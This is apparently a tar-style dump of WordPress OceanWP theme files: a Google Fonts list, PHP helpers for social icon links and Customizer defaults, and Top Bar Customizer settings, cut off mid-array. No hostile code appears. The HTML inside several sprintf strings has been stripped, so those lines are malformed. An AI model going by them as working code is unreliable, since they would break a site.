"http://fonts.gstatic.com/s/yesevaone/v14/OpNJno4ck8vc-xYpwWWxpipfWhXD00c.ttf" } }, { "kind": "webfonts#webfont", "family": "Yesteryear", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/yesteryear/v8/dg4g_p78rroaKl8kRKo1r7wHTwonmyw.ttf" } }, { "kind": "webfonts#webfont", "family": "Yrsa", "category": "serif", "variants": [ "300", "regular", "500", "600", "700" ], "subsets": [ "latin", "latin-ext" ], "version": "v5", "lastModified": "2019-07-16", "files": { "300": "http://fonts.gstatic.com/s/yrsa/v5/wlpxgwnQFlxs3af93IQ73W5OcCk.ttf", "500": "http://fonts.gstatic.com/s/yrsa/v5/wlpxgwnQFlxs3f_83IQ73W5OcCk.ttf", "600": "http://fonts.gstatic.com/s/yrsa/v5/wlpxgwnQFlxs3dP73IQ73W5OcCk.ttf", "700": "http://fonts.gstatic.com/s/yrsa/v5/wlpxgwnQFlxs3bf63IQ73W5OcCk.ttf", "regular": "http://fonts.gstatic.com/s/yrsa/v5/wlp-gwnQFlxs5QvV-IwQwWc.ttf" } }, { "kind": "webfonts#webfont", "family": "ZCOOL KuaiLe", "category": "display", "variants": [ "regular" ], "subsets": [ "chinese-simplified", "latin" ], "version": "v5", "lastModified": "2019-11-05", "files": { "regular": "http://fonts.gstatic.com/s/zcoolkuaile/v5/tssqApdaRQokwFjFJjvM6h2WpozzoXhC2g.ttf" } }, { "kind": "webfonts#webfont", "family": "ZCOOL QingKe HuangYou", "category": "display", "variants": [ "regular" ], "subsets": [ "chinese-simplified", "latin" ], "version": "v5", "lastModified": "2019-11-05", "files": { "regular": "http://fonts.gstatic.com/s/zcoolqingkehuangyou/v5/2Eb5L_R5IXJEWhD3AOhSvFC554MOOahI4mRIi_28c8bHWA.ttf" } }, { "kind": "webfonts#webfont", "family": "ZCOOL XiaoWei", "category": "serif", "variants": [ "regular" ], "subsets": [ "chinese-simplified", "latin" ], "version": "v5", "lastModified": "2019-11-05", "files": { "regular": "http://fonts.gstatic.com/s/zcoolxiaowei/v5/i7dMIFFrTRywPpUVX9_RJyM1YFKQHwyVd3U.ttf" } }, { "kind": "webfonts#webfont", "family": "Zeyada", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/zeyada/v9/11hAGpPTxVPUbgZDNGatWKaZ3g.ttf" } }, { "kind": "webfonts#webfont", "family": "Zhi Mang Xing", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "chinese-simplified", "latin" ], "version": "v5", "lastModified": "2019-11-05", "files": { "regular": "http://fonts.gstatic.com/s/zhimangxing/v5/f0Xw0ey79sErYFtWQ9a2rq-g0actfektIJ0.ttf" } }, { "kind": "webfonts#webfont", "family": "Zilla Slab", "category": "serif", "variants": [ "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic" ], "subsets": [ "latin", "latin-ext" ], "version": "v5", "lastModified": "2019-07-17", "files": { "300": "http://fonts.gstatic.com/s/zillaslab/v5/dFa5ZfeM_74wlPZtksIFYpEY2HSjWlhzbaw.ttf", "500": "http://fonts.gstatic.com/s/zillaslab/v5/dFa5ZfeM_74wlPZtksIFYskZ2HSjWlhzbaw.ttf", "600": "http://fonts.gstatic.com/s/zillaslab/v5/dFa5ZfeM_74wlPZtksIFYuUe2HSjWlhzbaw.ttf", "700": "http://fonts.gstatic.com/s/zillaslab/v5/dFa5ZfeM_74wlPZtksIFYoEf2HSjWlhzbaw.ttf", "300italic": "http://fonts.gstatic.com/s/zillaslab/v5/dFanZfeM_74wlPZtksIFaj8CVHapXnp2fazkfg.ttf", "regular": "http://fonts.gstatic.com/s/zillaslab/v5/dFa6ZfeM_74wlPZtksIFWj0w_HyIRlE.ttf", "italic": "http://fonts.gstatic.com/s/zillaslab/v5/dFa4ZfeM_74wlPZtksIFaj86-F6NVlFqdA.ttf", "500italic": "http://fonts.gstatic.com/s/zillaslab/v5/dFanZfeM_74wlPZtksIFaj8CDHepXnp2fazkfg.ttf", "600italic": "http://fonts.gstatic.com/s/zillaslab/v5/dFanZfeM_74wlPZtksIFaj8CIHCpXnp2fazkfg.ttf", "700italic": "http://fonts.gstatic.com/s/zillaslab/v5/dFanZfeM_74wlPZtksIFaj8CRHGpXnp2fazkfg.ttf" } }, { "kind": "webfonts#webfont", "family": "Zilla Slab Highlight", "category": "display", "variants": [ "regular", "700" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/zillaslabhighlight/v7/gNMUW2BrTpK8-inLtBJgMMfbm6uNVDvRxiP0TET4YmVF0Mb6.ttf", "regular": "http://fonts.gstatic.com/s/zillaslabhighlight/v7/gNMbW2BrTpK8-inLtBJgMMfbm6uNVDvRxhtIY2DwSXlM.ttf" } } ] } customizer/library/customizer-custom-controls/functions.php000064400000035637151551031110020521 0ustar00 'behance.net', 'icon' => 'fab fa-behance', 'title' => esc_html__( 'Follow me on Behance', 'oceanwp' ), 'class' => 'behance', ), array( 'url' => 'bitbucket.org', 'icon' => 'fab fa-bitbucket', 'title' => esc_html__( 'Fork me on Bitbucket', 'oceanwp' ), 'class' => 'bitbucket', ), array( 'url' => 'codepen.io', 'icon' => 'fab fa-codepen', 'title' => esc_html__( 'Follow me on CodePen', 'oceanwp' ), 'class' => 'codepen', ), array( 'url' => 'deviantart.com', 'icon' => 'fab fa-deviantart', 'title' => esc_html__( 'Watch me on DeviantArt', 'oceanwp' ), 'class' => 'deviantart', ), array( 'url' => 'discord.gg', 'icon' => 'fab fa-discord', 'title' => esc_html__( 'Join me on Discord', 'oceanwp' ), 'class' => 'discord', ), array( 'url' => 'dribbble.com', 'icon' => 'fab fa-dribbble', 'title' => esc_html__( 'Follow me on Dribbble', 'oceanwp' ), 'class' => 'dribbble', ), array( 'url' => 'etsy.com', 'icon' => 'fab fa-etsy', 'title' => esc_html__( 'favorite me on Etsy', 'oceanwp' ), 'class' => 'etsy', ), array( 'url' => 'facebook.com', 'icon' => 'fab fa-facebook-f', 'title' => esc_html__( 'Like me on Facebook', 'oceanwp' ), 'class' => 'facebook', ), array( 'url' => 'flickr.com', 'icon' => 'fab fa-flickr', 'title' => esc_html__( 'Connect with me on Flickr', 'oceanwp' ), 'class' => 'flickr', ), array( 'url' => 'foursquare.com', 'icon' => 'fab fa-foursquare', 'title' => esc_html__( 'Follow me on Foursquare', 'oceanwp' ), 'class' => 'foursquare', ), array( 'url' => 'github.com', 'icon' => 'fab fa-github', 'title' => esc_html__( 'Fork me on GitHub', 'oceanwp' ), 'class' => 'github', ), array( 'url' => 'instagram.com', 'icon' => 'fab fa-instagram', 'title' => esc_html__( 'Follow me on Instagram', 'oceanwp' ), 'class' => 'instagram', ), array( 'url' => 'kickstarter.com', 'icon' => 'fab fa-kickstarter-k', 'title' => esc_html__( 'Back me on Kickstarter', 'oceanwp' ), 'class' => 'kickstarter', ), array( 'url' => 'last.fm', 'icon' => 'fab fa-lastfm', 'title' => esc_html__( 'Follow me on Last.fm', 'oceanwp' ), 'class' => 'lastfm', ), array( 'url' => 'linkedin.com', 'icon' => 'fab fa-linkedin-in', 'title' => esc_html__( 'Connect with me on LinkedIn', 'oceanwp' ), 'class' => 'linkedin', ), array( 'url' => 'medium.com', 'icon' => 'fab fa-medium-m', 'title' => esc_html__( 'Follow me on Medium', 'oceanwp' ), 'class' => 'medium', ), array( 'url' => 'patreon.com', 'icon' => 'fab fa-patreon', 'title' => esc_html__( 'Support me on Patreon', 'oceanwp' ), 'class' => 'patreon', ), array( 'url' => 'pinterest.com', 'icon' => 'fab fa-pinterest-p', 'title' => esc_html__( 'Follow me on Pinterest', 'oceanwp' ), 'class' => 'pinterest', ), array( 'url' => 'plus.google.com', 'icon' => 'fab fa-google-plus-g', 'title' => esc_html__( 'Connect with me on Google+', 'oceanwp' ), 'class' => 'googleplus', ), array( 'url' => 'reddit.com', 'icon' => 'fab fa-reddit-alien', 'title' => esc_html__( 'Join me on Reddit', 'oceanwp' ), 'class' => 'reddit', ), array( 'url' => 'slack.com', 'icon' => 'fab fa-slack-hash', 'title' => esc_html__( 'Join me on Slack', 'oceanwp' ), 'class' => 'slack.', ), array( 'url' => 'slideshare.net', 'icon' => 'fab fa-slideshare', 'title' => esc_html__( 'Follow me on SlideShare', 'oceanwp' ), 'class' => 'slideshare', ), array( 'url' => 'snapchat.com', 'icon' => 'fab fa-snapchat-ghost', 'title' => esc_html__( 'Add me on Snapchat', 'oceanwp' ), 'class' => 'snapchat', ), array( 'url' => 'soundcloud.com', 'icon' => 'fab fa-soundcloud', 'title' => esc_html__( 'Follow me on SoundCloud', 'oceanwp' ), 'class' => 'soundcloud', ), array( 'url' => 'spotify.com', 'icon' => 'fab fa-spotify', 'title' => esc_html__( 'Follow me on Spotify', 'oceanwp' ), 'class' => 'spotify', ), array( 'url' => 'stackoverflow.com', 'icon' => 'fab fa-stack-overflow', 'title' => esc_html__( 'Join me on Stack Overflow', 'oceanwp' ), 'class' => 'stackoverflow', ), array( 'url' => 'tumblr.com', 'icon' => 'fab fa-tumblr', 'title' => esc_html__( 'Follow me on Tumblr', 'oceanwp' ), 'class' => 'tumblr', ), array( 'url' => 'twitch.tv', 'icon' => 'fab fa-twitch', 'title' => esc_html__( 'Follow me on Twitch', 'oceanwp' ), 'class' => 'twitch', ), array( 'url' => 'twitter.com', 'icon' => 'fab fa-twitter', 'title' => esc_html__( 'Follow me on Twitter', 'oceanwp' ), 'class' => 'twitter', ), array( 'url' => 'vimeo.com', 'icon' => 'fab fa-vimeo-v', 'title' => esc_html__( 'Follow me on Vimeo', 'oceanwp' ), 'class' => 'vimeo', ), array( 'url' => 'weibo.com', 'icon' => 'fab fa-weibo', 'title' => esc_html__( 'Follow me on weibo', 'oceanwp' ), 'class' => 'weibo', ), array( 'url' => 'youtube.com', 'icon' => 'fab fa-youtube', 'title' => esc_html__( 'Subscribe to me on YouTube', 'oceanwp' ), 'class' => 'youtube', ), ); return apply_filters( 'skyrocket_social_icons', $social_icons ); } } /** * Return an unordered list of linked social media icons, based on the urls provided in the Customizer Sortable Repeater * This is a sample function to display some social icons on your site. * This sample function is also used to show how you can call a PHP function to refresh the customizer preview. * Add the following code to header.php if you want to see the sample social icons displayed in the customizer preview and your theme. * Before any social icons display, you'll also need to add the relevent URL's to the Header Navigation > Social Icons section in the Customizer. * * * @return string Unordered list of linked social media icons */ if ( ! function_exists( 'skyrocket_get_social_media' ) ) { function skyrocket_get_social_media() { $defaults = skyrocket_generate_defaults(); $output = array(); $social_icons = skyrocket_generate_social_urls(); $social_urls = explode( ',', get_theme_mod( 'social_urls', $defaults['social_urls'] ) ); $social_newtab = get_theme_mod( 'social_newtab', $defaults['social_newtab'] ); $social_alignment = get_theme_mod( 'social_alignment', $defaults['social_alignment'] ); $contact_phone = get_theme_mod( 'contact_phone', $defaults['contact_phone'] ); if ( ! empty( $contact_phone ) ) { $output[] = sprintf( '
      • %3$s
      • ', 'phone', 'fas fa-phone fa-flip-horizontal', $contact_phone ); } foreach ( $social_urls as $key => $value ) { if ( ! empty( $value ) ) { $domain = str_ireplace( 'www.', '', parse_url( $value, PHP_URL_HOST ) ); $index = array_search( strtolower( $domain ), array_column( $social_icons, 'url' ) ); if ( false !== $index ) { $output[] = sprintf( '
      • ', $social_icons[ $index ]['class'], esc_url( $value ), $social_icons[ $index ]['title'], ( ! $social_newtab ? '' : ' target="_blank"' ), $social_icons[ $index ]['icon'] ); } else { $output[] = sprintf( '
      • ', $social_icons[ $index ]['class'], esc_url( $value ), ( ! $social_newtab ? '' : ' target="_blank"' ), 'fas fa-globe' ); } } } if ( get_theme_mod( 'social_rss', $defaults['social_rss'] ) ) { $output[] = sprintf( '
      • ', 'rss', home_url( '/feed' ), 'Subscribe to my RSS feed', ( ! $social_newtab ? '' : ' target="_blank"' ), 'fas fa-rss' ); } if ( ! empty( $output ) ) { $output = apply_filters( 'skyrocket_social_icons_list', $output ); array_unshift( $output, ''; } return implode( '', $output ); } } /** * Append a search icon to the primary menu * This is a sample function to show how to append an icon to the menu based on the customizer search option * The search icon wont actually do anything */ if ( ! function_exists( 'skyrocket_add_search_menu_item' ) ) { function skyrocket_add_search_menu_item( $items, $args ) { $defaults = skyrocket_generate_defaults(); if ( get_theme_mod( 'search_menu_icon', $defaults['search_menu_icon'] ) ) { if ( $args->theme_location == 'primary' ) { $items .= ''; } } return $items; } } add_filter( 'wp_nav_menu_items', 'skyrocket_add_search_menu_item', 10, 2 ); /** * Return a string containing the sample TinyMCE Control * This is a sample function to show how you can use the TinyMCE Control for footer credits in your Theme * Add the following three lines of code to your footer.php file to display the content of your sample TinyMCE Control * */ if ( ! function_exists( 'skyrocket_get_credits' ) ) { function skyrocket_get_credits() { $defaults = skyrocket_generate_defaults(); // wpautop this so that it acts like the new visual text widget, since we're using the same TinyMCE control return wpautop( get_theme_mod( 'sample_tinymce_editor', $defaults['sample_tinymce_editor'] ) ); } } /** * Set our Customizer default options */ if ( ! function_exists( 'skyrocket_generate_defaults' ) ) { function skyrocket_generate_defaults() { $customizer_defaults = array( 'social_newtab' => 0, 'social_urls' => '', 'social_alignment' => 'alignright', 'social_rss' => 0, 'social_url_icons' => '', 'contact_phone' => '', 'search_menu_icon' => 0, 'woocommerce_shop_sidebar' => 1, 'woocommerce_product_sidebar' => 0, 'sample_toggle_switch' => 0, 'sample_slider_control' => 48, 'sample_slider_control_small_step' => 2, 'sample_sortable_repeater_control' => '', 'sample_image_radio_button' => 'sidebarright', 'sample_text_radio_button' => 'right', 'sample_image_checkbox' => 'stylebold,styleallcaps', 'sample_single_accordion' => '', 'sample_alpha_color' => 'rgba(209,0,55,0.7)', 'sample_wpcolorpicker_alpha_color' => 'rgba(55,55,55,0.5)', 'sample_wpcolorpicker_alpha_color2' => 'rgba(33,33,33,0.8)', 'sample_pill_checkbox' => 'tiger,elephant,hippo', 'sample_pill_checkbox2' => 'captainmarvel,msmarvel,squirrelgirl', 'sample_pill_checkbox3' => 'author,categories,comments', 'sample_simple_notice' => '', 'sample_dropdown_select2_control_single' => 'vic', 'sample_dropdown_select2_control_multi' => 'Antarctica/McMurdo,Australia/Melbourne,Australia/Broken_Hill', 'sample_dropdown_select2_control_multi2' => 'Atlantic/Stanley,Australia/Darwin', 'sample_dropdown_posts_control' => '', 'sample_tinymce_editor' => '', 'sample_google_font_select' => json_encode( array( 'font' => 'Open Sans', 'regularweight' => 'regular', 'italicweight' => 'italic', 'boldweight' => '700', 'category' => 'sans-serif', ) ), 'sample_default_text' => '', 'sample_email_text' => '', 'sample_url_text' => '', 'sample_number_text' => '', 'sample_hidden_text' => '', 'sample_date_text' => '', 'sample_default_checkbox' => 0, 'sample_default_select' => 'jet-fuel', 'sample_default_radio' => 'spider-man', 'sample_default_dropdownpages' => '1548', 'sample_default_textarea' => '', 'sample_default_color' => '#333', 'sample_default_media' => '', 'sample_default_image' => '', 'sample_default_cropped_image' => '', 'sample_date_only' => '2017-08-28', 'sample_date_time' => '2017-08-28 16:30:00', 'sample_date_time_no_past_date' => date( 'Y-m-d' ), ); return apply_filters( 'skyrocket_customizer_defaults', $customizer_defaults ); } } /** * Load all our Customizer options */ require_once trailingslashit( dirname( __FILE__ ) ) . 'inc/customizer.php'; customizer/settings/topbar.php000064400000067466151551031110012624 0ustar00add_panel( $panel , array( 'title' => esc_html__( 'Top Bar', 'oceanwp' ), 'priority' => 210, ) ); /** * Section */ $wp_customize->add_section( 'ocean_topbar_general' , array( 'title' => esc_html__( 'General', 'oceanwp' ), 'priority' => 10, 'panel' => $panel, ) ); /** * Top Bar */ $wp_customize->add_setting( 'ocean_top_bar', array( 'default' => true, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_top_bar', array( 'label' => esc_html__( 'Enable Top Bar', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_topbar_general', 'settings' => 'ocean_top_bar', 'priority' => 10, ) ) ); /** * Top Bar Full Width */ $wp_customize->add_setting( 'ocean_top_bar_full_width', array( 'transport' => 'postMessage', 'default' => false, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_top_bar_full_width', array( 'label' => esc_html__( 'Top Bar Full Width', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_topbar_general', 'settings' => 'ocean_top_bar_full_width', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_topbar', ) ) ); /** * Top Bar Visibility */ $wp_customize->add_setting( 'ocean_top_bar_visibility', array( 'transport' => 'postMessage', 'default' => 'all-devices', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_top_bar_visibility', array( 'label' => esc_html__( 'Visibility', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_topbar_general', 'settings' => 'ocean_top_bar_visibility', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_topbar', 'choices' => array( 'all-devices' => esc_html__( 'Show On All Devices', 'oceanwp' ), 'hide-tablet' => esc_html__( 'Hide On Tablet', 'oceanwp' ), 'hide-mobile' => esc_html__( 'Hide On Mobile', 'oceanwp' ), 'hide-tablet-mobile' => esc_html__( 'Hide On Tablet & Mobile', 'oceanwp' ), ), ) ) ); /** * Top Bar Style */ $wp_customize->add_setting( 'ocean_top_bar_style', array( 'default' => 'one', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_top_bar_style', array( 'label' => esc_html__( 'Style', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_topbar_general', 'settings' => 'ocean_top_bar_style', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_topbar', 'choices' => array( 'one' => esc_html__( 'Left Content & Right Social', 'oceanwp' ), 'two' => esc_html__( 'Left Social & Right Content', 'oceanwp' ), 'three' => esc_html__( 'Centered Content & Social', 'oceanwp' ), ), ) ) ); /** * Top Bar Padding */ $wp_customize->add_setting( 'ocean_top_bar_top_padding', array( 'transport' => 'postMessage', 'default' => '8', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_top_bar_right_padding', array( 'transport' => 'postMessage', 'default' => '0', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_top_bar_bottom_padding', array( 'transport' => 'postMessage', 'default' => '8', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_top_bar_left_padding', array( 'transport' => 'postMessage', 'default' => '0', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_top_bar_tablet_top_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_top_bar_tablet_right_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_top_bar_tablet_bottom_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_top_bar_tablet_left_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_top_bar_mobile_top_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_top_bar_mobile_right_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_top_bar_mobile_bottom_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_top_bar_mobile_left_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new OceanWP_Customizer_Dimensions_Control( $wp_customize, 'ocean_top_bar_padding', array( 'label' => esc_html__( 'Padding (px)', 'oceanwp' ), 'section' => 'ocean_topbar_general', 'settings' => array( 'desktop_top' => 'ocean_top_bar_top_padding', 'desktop_right' => 'ocean_top_bar_right_padding', 'desktop_bottom' => 'ocean_top_bar_bottom_padding', 'desktop_left' => 'ocean_top_bar_left_padding', 'tablet_top' => 'ocean_top_bar_tablet_top_padding', 'tablet_right' => 'ocean_top_bar_tablet_right_padding', 'tablet_bottom' => 'ocean_top_bar_tablet_bottom_padding', 'tablet_left' => 'ocean_top_bar_tablet_left_padding', 'mobile_top' => 'ocean_top_bar_mobile_top_padding', 'mobile_right' => 'ocean_top_bar_mobile_right_padding', 'mobile_bottom' => 'ocean_top_bar_mobile_bottom_padding', 'mobile_left' => 'ocean_top_bar_mobile_left_padding', ), 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_topbar', 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), ) ) ); /** * Top Bar Background Color */ $wp_customize->add_setting( 'ocean_top_bar_bg', array( 'transport' => 'postMessage', 'default' => '#ffffff', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_top_bar_bg', array( 'label' => esc_html__( 'Background Color', 'oceanwp' ), 'section' => 'ocean_topbar_general', 'settings' => 'ocean_top_bar_bg', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_topbar', ) ) ); /** * Top Bar Border Color */ $wp_customize->add_setting( 'ocean_top_bar_border_color', array( 'transport' => 'postMessage', 'default' => '#f1f1f1', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_top_bar_border_color', array( 'label' => esc_html__( 'Border Color', 'oceanwp' ), 'section' => 'ocean_topbar_general', 'settings' => 'ocean_top_bar_border_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_topbar', ) ) ); /** * Top Bar Text Color */ $wp_customize->add_setting( 'ocean_top_bar_text_color', array( 'transport' => 'postMessage', 'default' => '#929292', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_top_bar_text_color', array( 'label' => esc_html__( 'Text Color', 'oceanwp' ), 'section' => 'ocean_topbar_general', 'settings' => 'ocean_top_bar_text_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_topbar', ) ) ); /** * Top Bar Link Color */ $wp_customize->add_setting( 'ocean_top_bar_link_color', array( 'transport' => 'postMessage', 'default' => '#555555', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_top_bar_link_color', array( 'label' => esc_html__( 'Link Color', 'oceanwp' ), 'section' => 'ocean_topbar_general', 'settings' => 'ocean_top_bar_link_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_topbar', ) ) ); /** * Top Bar Link Color Hover */ $wp_customize->add_setting( 'ocean_top_bar_link_color_hover', array( 'transport' => 'postMessage', 'default' => '#13aff0', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_top_bar_link_color_hover', array( 'label' => esc_html__( 'Link Color: Hover', 'oceanwp' ), 'section' => 'ocean_topbar_general', 'settings' => 'ocean_top_bar_link_color_hover', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_topbar', ) ) ); /** * Section */ $wp_customize->add_section( 'ocean_topbar_content' , array( 'title' => esc_html__( 'Content', 'oceanwp' ), 'priority' => 10, 'panel' => $panel, ) ); /** * Top Bar Template */ $wp_customize->add_setting( 'ocean_top_bar_template', array( 'default' => '0', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_top_bar_template', array( 'label' => esc_html__( 'Select Template', 'oceanwp' ), 'description' => esc_html__( 'Choose a template created in Theme Panel > My Library to replace the content.', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_topbar_content', 'settings' => 'ocean_top_bar_template', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_topbar', 'choices' => oceanwp_customizer_helpers( 'library' ), ) ) ); /** * Top Bar Content */ $wp_customize->add_setting( 'ocean_top_bar_content', array( 'transport' => 'postMessage', 'default' => esc_html__( 'Place your content here', 'oceanwp' ), 'sanitize_callback' => 'wp_kses_post', ) ); $wp_customize->add_control( new OceanWP_Customizer_Textarea_Control( $wp_customize, 'ocean_top_bar_content', array( 'label' => esc_html__( 'Content', 'oceanwp' ), 'description' => sprintf( esc_html__( 'Shortcodes allowed, %1$ssee the list%2$s.', 'oceanwp' ), '', '' ), 'section' => 'ocean_topbar_content', 'settings' => 'ocean_top_bar_content', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_topbar', ) ) ); /** * Section */ $wp_customize->add_section( 'ocean_topbar_social' , array( 'title' => esc_html__( 'Social', 'oceanwp' ), 'priority' => 10, 'panel' => $panel, ) ); /** * Top Bar Social */ $wp_customize->add_setting( 'ocean_top_bar_social', array( 'default' => true, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_top_bar_social', array( 'label' => esc_html__( 'Enable Social', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_topbar_social', 'settings' => 'ocean_top_bar_social', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_topbar', ) ) ); /** * Top Bar Social Alternative */ $wp_customize->add_setting( 'ocean_top_bar_social_alt_template', array( 'default' => '0', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_top_bar_social_alt_template', array( 'label' => esc_html__( 'Social Alternative', 'oceanwp' ), 'description' => esc_html__( 'Choose a template created in Theme Panel > My Library.', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_topbar_social', 'settings' => 'ocean_top_bar_social_alt_template', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_topbar_social', 'choices' => oceanwp_customizer_helpers( 'library' ), ) ) ); /** * Top Bar Social Link Target */ $wp_customize->add_setting( 'ocean_top_bar_social_target', array( 'transport' => 'postMessage', 'default' => 'blank', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_top_bar_social_target', array( 'label' => esc_html__( 'Social Link Target', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_topbar_social', 'settings' => 'ocean_top_bar_social_target', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_topbar_social', 'choices' => array( 'blank' => esc_html__( 'New Window', 'oceanwp' ), 'self' => esc_html__( 'Same Window', 'oceanwp' ), ), ) ) ); /** * Top Bar Social Font Size */ $wp_customize->add_setting( 'ocean_top_bar_social_font_size', array( 'transport' => 'postMessage', 'default' => '14', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_top_bar_social_tablet_font_size', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_top_bar_social_mobile_font_size', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new OceanWP_Customizer_Slider_Control( $wp_customize, 'ocean_top_bar_social_font_size', array( 'label' => esc_html__( 'Font Size (px)', 'oceanwp' ), 'section' => 'ocean_topbar_social', 'settings' => array( 'desktop' => 'ocean_top_bar_social_font_size', 'tablet' => 'ocean_top_bar_social_tablet_font_size', 'mobile' => 'ocean_top_bar_social_mobile_font_size', ), 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_topbar_social', 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), ) ) ); /** * Top Bar Social Padding */ $wp_customize->add_setting( 'ocean_top_bar_social_right_padding', array( 'transport' => 'postMessage', 'default' => '6', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_top_bar_social_left_padding', array( 'transport' => 'postMessage', 'default' => '6', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_top_bar_social_tablet_right_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_top_bar_social_tablet_left_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_top_bar_social_mobile_right_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_top_bar_social_mobile_left_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new OceanWP_Customizer_Dimensions_Control( $wp_customize, 'ocean_top_bar_social_padding', array( 'label' => esc_html__( 'Padding (px)', 'oceanwp' ), 'section' => 'ocean_topbar_social', 'settings' => array( 'desktop_right' => 'ocean_top_bar_social_right_padding', 'desktop_left' => 'ocean_top_bar_social_left_padding', 'tablet_right' => 'ocean_top_bar_social_tablet_right_padding', 'tablet_left' => 'ocean_top_bar_social_tablet_left_padding', 'mobile_right' => 'ocean_top_bar_social_mobile_right_padding', 'mobile_left' => 